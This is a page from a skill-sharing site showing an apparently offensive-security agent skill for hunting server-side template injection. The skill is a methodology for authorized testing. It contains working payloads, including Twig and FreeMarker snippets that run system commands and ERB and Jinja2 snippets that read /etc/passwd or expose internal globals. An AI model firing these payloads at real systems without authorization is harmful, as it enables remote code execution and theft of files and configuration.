agentleFS
fennihfennih/hunterkit/ssti/SKILL.md

ssti

Skill0 starsChanged 6 days agoMITView on GitHub

Focused hunt for Server-Side Template Injection across template engines (Jinja2, Twig, Freemarker, Velocity, ERB, T4, Smarty, Mako): engine detection via canary arithmetic, per-engine proof payloads, blind SSTE via OOB. Use when the focus is template injection. Not for client-side XSS (use xss) or plain string interpolation.

9 other projects use a version of this.

Adopted by

Most recently taken up by

Used with

Projects with it also use deserialization, csrf and 2 more.

Other files people use alongside this one.

Files found in the same public projects as a version of this one, more often than they turn up anywhere else. Each project counts once, large collections count for less, and this file's own repository is left out.
  • langbyyiSkill

    deserialization

    Insecure deserialization playbook. Use when Java, PHP, or Python applications deserialize untrusted data via ObjectInputStream, unserialize, pickle, or similar mechanisms that may lead to RCE, file access, or privilege escalation.

    Also in 4 projects that use this

  • langbyyiSkill

    csrf

    CSRF testing playbook. Use when reviewing state-changing web flows, anti-CSRF defenses, SameSite behavior, JSON CSRF, login CSRF, and OAuth state handling.

    Also in 3 projects that use this

  • yaklangSkill

    nosql-injection

    NoSQL injection playbook. Use when MongoDB-style operators, JSON query objects, flexible search filters, or backend query DSLs may allow data or logic abuse.

    Also in 3 projects that use this

  • +1 more from langbyyi

The file

We split this skill into the rules it gives an agent

2 rules. 0 are common, 1 is distinctive, and 1 is very specific to this project.

  • 0

    Common

    Most of the 7 edited versions we read keep these.

  • 1

    Distinctive

    This author's own choices. Worth a look.

  • 1

    Very specific

    Tied to their project's names, files or tools. Probably skip.

  • Common
  • Distinctive
  • Very specific
  1. Distinctive:

    No output reflection? OOB canary per engine (DNS/HTTP callback with a marker).

    line 54
  2. Very specific:

    If the payload lands in a DB query → sqli.

    line 65

“Common” is measured: kept by at least 6 in 10 of the 7 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.

Keep what fits and drop the rest. Your version, ready for your agents.
Files
SKILL.md

SSTI (Server-Side Template Injection)

When to use

  • "Hunt SSTI on X", "test the email/report/PDF template of X"
  • Suspect inputs: names rendered in templated output, email templates with preview, PDF/report generators, marketing pages, error pages echoing input

When NOT to use

  • Client-side rendering (use xss)
  • LLM-generated content (use llm-security)

Inputs

  • Target + the render path(s); one account for stored fields that reach templates

Rationalizations to reject

  • "${7*7} returned 49, so RCE" — engine evaluation is proven, RCE is not. Escalate to a read-only proof (config, self, env vars) before claiming impact.
  • "The Angular page renders {{...}}" — client-side framework interpolation is xss territory; SSTI is server-side evaluation.
  • Reporting engine-only detection without output proof — the canary result IS the proof for the vuln, but impact claims need escalation payloads.

Methodology

1. Detection matrix

Send the canary set and record results: ${7*7}, {{7*7}}, {{7*'7'}}, <%= 7*7 %>, #{7*7}, {{7*7}} inside ${...}, %{7*7}, {{ 7*7 }}.

Decode results:

  • 49 from {{7*7}} → generic engine; {{7*'7'}} → 7777777 = Jinja2 (Python), 49 = Twig (PHP), 0.142857 = ERB-ish
  • 49 from ${7*7} → FreeMarker / Thymeleaf / Mako / smart strings — distinguish by further probes
  • <%= 7*7 %> → ERB (Ruby) / EJS
  • #{7*7} → Ruby interpolation / Thymeleaf / Pug / JS template engines
  • %{7*7} → Razor-ish / some Java
  • FlatMatch ${{7*7}} for FreeMarker #{} legacy

2. Escalation (minimal, read-only)

Per engine, one info-read payload:

  • Jinja2: {{ config }} or {{ self.__init__.__globals__ }} — file read via {{ get_file_contents('/etc/passwd') }}-style where available; avoid os.system unless user allows RCE proof
  • Twig: {{['id']|filter('system')}} or {{dump(app)}}
  • FreeMarker: <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} (or {"freemarker.template.utility.Execute"?new()("id")})
  • ERB: <%= Dir.pwd %> or <%= File.read('/etc/passwd') %>
  • Mako: ${self.module.__init__.__globals__}
  • Velocity/T4/Smarty: engine-specific read equivalents

Record the output that proves server-side evaluation + data access.

3. Blind SSTI

No output reflection? OOB canary per engine (DNS/HTTP callback with a marker). One payload per engine, small set.

4. Reachability via stored fields

User-controlled values that end up inside templates server-side: username in a templated email/report ("Hello {{ user.name }}"), custom domain/org names in PDF invoices, report titles. Plant canaries in every stored field that plausibly reaches a renderer, then trigger the render (preview/send/export).

Reporting

findings/ssti-<date>.md. Severity: confirmed server-side code/file read = critical/high (RCE-class impact); engine evaluation with info disclosure = high; evaluation only in a non-sensitive context = medium.

Focus discipline

If the payload lands in a DB query → sqli. If the template renders user content to other users' browsers → also note XSS chain (xss).

Download now (ZIP)

Does it work?

Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.

No reviews yet

People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.

  • It worked
  • Partly
  • It didn't
What did you use it for? e.g. Reviewing pull requests in a Rails app

Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.

Your trail

Files you open will collect here, so you can find them again.

Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.

Now do this for your own.

Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.